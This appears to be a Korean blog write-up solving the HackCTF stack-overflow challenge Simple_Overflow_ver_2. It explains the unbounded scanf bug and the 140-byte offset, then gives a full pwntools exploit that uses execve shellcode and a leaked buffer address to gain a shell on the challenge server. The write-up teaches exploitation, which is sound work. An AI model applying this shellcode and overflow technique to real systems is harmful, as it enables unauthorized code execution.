이번에 풀이할 문제는 HackCTF의 Simple_Overflow_ver_2 문제다. 문제 이름을 봤을 때 bof 관련 문제로 추정된다.
파일은 Simple_overflow_ver_2라는 이름의 elf 파일이 주어져 있다. 일단 어떤 동작을 하는지 실행해서 확인해보겠다.
실행을 하면 "Data : " 문구가 출력되면서 입력을 받는데, 입력을 하면 입력 값이 저장된 주소로 추정되는 16진수 값과 입력 값을 같이 출력해준다. 그 후 Again (y/n) 문구가 출력되며 입력을 받는데, y를 입력하면 이 과정을 다시 수행할 수 있고, n을 입력하면 프로그램을 종료한다.
동작은 확인했으니 보호 기법 및 코드를 확인해보겠다.
RELRO 빼고는 보호 기법이 걸려지 않은 것을 볼 수 있다.
ghidra를 통해 메인 코드를 디컴파일해 보았다. 일단 scanf("%s")를 사용해서 local_8c에 입력을 받는데("Data : " 부분), 입력 길이 제한이 없으므로 이 과정에서 스택 오버플로우가 발생한다.
flag나 쉘을 얻게 해주는 다른 함수도 없고, NX bit도 걸려 있지 않으므로 쉘 코드 삽입 및 ret를 변조해 공격을 진행하면 될 것 같다.
일단 gdb를 통해 local_8c와 ret 사이의 거리를 확인해보겠다.
gdb를 통해 구한 local_8c, ret 주소의 차는 140이므로 더미 값으로 140byte를 채워준다면 ret를 변조할 수 있다. 이 문제의 경우 쉘 코드를 삽입해서 공격할 것이므로 140-(쉘 코드의 길이) 만큼 더미 값을 채운 후, ret를 쉘 코드의 주소로 변조해주면 된다.
한 가지 문제가 있다. 대회 서버에서는 계속해서 스택의 주소가 바뀌기 때문에 쉘 코드의 정확한 주소를 하드 코딩해 exploit 하지 못한다.
하지만 입력 버퍼의 주소를 입력을 받은 후에 출력해주고, 다시 입력할 수 있는 기회("Again (y/n)도 주어지므로, 첫 입력 값에서 버퍼의 주소를 받아온 후, Again에서 y를 입력해 두 번째 입력에서 버퍼의 주소를 포함한 payload를 전송시키면 될 것 같다.
from pwn import *
payload = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80" + b'A'*114
#p = process('./Simple_overflow_ver_2')
p = remote('ctf.j0n9hyun.xyz', 3006)
p.recvuntil('Data : ')
p.sendline('1')
line = p.recvline()
payload += p32(int(line[:10],16))
p.recvuntil('Again (y/n): ')
p.sendline('y')
p.recvuntil('Data : ')
p.sendline(payload)
p.recvuntil('Again (y/n): ')
p.sendline('n')
p.interactive()
recvuntil 함수를 이용해 'Data : '가 출력될 때까지 기다린 후 더미 입력 값 1을 전송, 그 후 출력된 버퍼 주소를 payload에 추가한 뒤 두 번째 입력에서 완성된 payload를 입력 값으로 전송한다.
'Wargame > HackCTF' 카테고리의 다른 글
[HackCTF] BOF_PIE (0) | 2021.05.11 |
---|---|
[HackCTF] Offset (0) | 2021.05.11 |
[HackCTF] Basic_FSB (2) | 2021.05.05 |
[HackCTF] x64 Simple_size_BOF (0) | 2021.04.28 |
[HackCTF] x64 Buffer Overflow (0) | 2021.03.20 |